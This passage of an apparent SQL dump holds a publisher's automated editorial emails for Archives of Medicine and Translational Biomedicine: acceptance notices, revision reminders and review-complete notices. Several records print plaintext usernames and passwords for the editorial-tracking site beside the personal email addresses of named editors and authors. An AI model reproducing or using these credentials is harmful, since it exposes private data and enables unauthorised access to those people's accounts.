Ms. No.  <b>ipaom-20-6349</b><br />\r\n            <br />\r\n            Article Title: <b>ANXIETY, DEPRESSION, AND OTHER MENTAL DISORDERS IN PREGNANT WOMEN LIVING IN EXPOSURE TO COVID-19.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dias e Almeida</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kayoresendedias@hotmail.com',6349,'2020-10-19',85),(2096,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4194</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-4194</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',4194,'2020-10-20',85),(2097,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4194</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jehangir</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fatima.jehangir@zu.edu.pk',4194,'2020-10-20',85),(2098,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6234</b><br />\r\n            <br />\r\n            Article Title: <b>Do Chloroquine and Hydroxychloroquine treat COVID-19?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bzikha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','redabzikha@gmail.com',6234,'2020-10-20',85),(2118,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6348</b><br />\r\n            <br />\r\n            Article Title: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Italo Silva da Cruz</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6348</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',6348,'2020-10-20',85),(2129,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6217</b><br />\r\n            <br />\r\n            Article Title: <b>Vitamin D as a possible factor that reduce COVID 19 complications</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mosab Mohammed</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6217</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',6217,'2020-10-21',85),(2142,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6347</b><br />\r\n            <br />\r\n            Article Title: <b>AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Rolim Neto </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6347</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',6347,'2020-10-24',85),(2143,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-10-24',85),(2144,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6348</b><br />\r\n            <br />\r\n            Article Title: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>da Cruz</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-6348</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>italo_silva</b><br />\r\n            Password : <b>yX7DkIyk</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','itallo.sillva@hotmail.com',6348,'2020-10-24',85),(2145,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6346</b><br />\r\n            <br />\r\n            Article Title: <b>The Impact of COVID-19 on the Health Team Working in the Intensive Care Unit: A Systematic Review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6346</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',6346,'2020-10-26',85),(2151,'<p>Ref.:  Ms. No. : <b>ipaom-20-6348</b><br />\r\n<br />\r\nARTICLE TITLE: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. da Cruz</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6348</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>italo_silva</b><br />\r\npassword: <b>yX7DkIyk</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','itallo.sillva@hotmail.com',6348,'2020-10-27',85),(2152,'<p>Ref.:  Ms. No. : <b>ipaom-20-6347</b><br />\r\n<br />\r\nARTICLE TITLE: <b>AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto </b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6347</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto</b><br />\r\npassword: <b>WtUQmeLg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','r.rrolim@bol.com.br',6347,'2020-10-27',85),(2153,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-10-27',85),(2155,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6273</b><br />\r\n            <br />\r\n            Article Title: <b>A REVIEW ON BIOMARKERS: AS A POTENTIAL DIAGNOSTIC TOOL</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nahas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aasiyanahas1997@gmail.com',6273,'2020-10-28',673),(2156,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6328</b><br />\r\n            <br />\r\n            Article Title: <b>The Use of Essential Oils in Prolonging Postharvest Life of Fresh Fruits and Vegetables </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Israr Ahmad</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Gainetdinov</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6328</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','raul.gainetdinov@iit.it',6328,'2020-10-28',673),(2160,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6274</b><br />\r\n            <br />\r\n            Article Title: <b>C2AZ as treatment adjunct</b><br />\r\n            <br />\r\n            Corresponding Author: <b>R. E. Kast</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6274</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',6274,'2020-10-30',673),(2161,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6274</b><br />\r\n            <br />\r\n            Article Title: <b>C2AZ as treatment adjunct</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kast</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','richarderickast@gmail.com',6274,'2020-10-30',673),(2181,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6153</b><br />\r\n            <br />\r\n            Article Title: <b>INTERPRITATION OF CORONARY ARTERY DISEASE THROUGH ENVIRONMENTAL/GENETIC RISK FACTORS AND CONTRIBUTING GENES: A COMPREHENSIVE REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Najma Qammar</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6153</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',6153,'2020-11-06',85),(2182,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6086</b><br />\r\n            <br />\r\n            Article Title: <b>Giant Uterine Lipoleiomyoma Masquerading as Endometrial Carcinoma in a Young Nulliparous Lady - Clinical and Imaging Challenges.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>AUSTINE OSAWE</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6086</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',6086,'2020-11-06',85),(2192,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6328</b><br />\r\n            <br />\r\n            Article Title: <b>The Use of Essential Oils in Prolonging Postharvest Life of Fresh Fruits and Vegetables </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-11-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            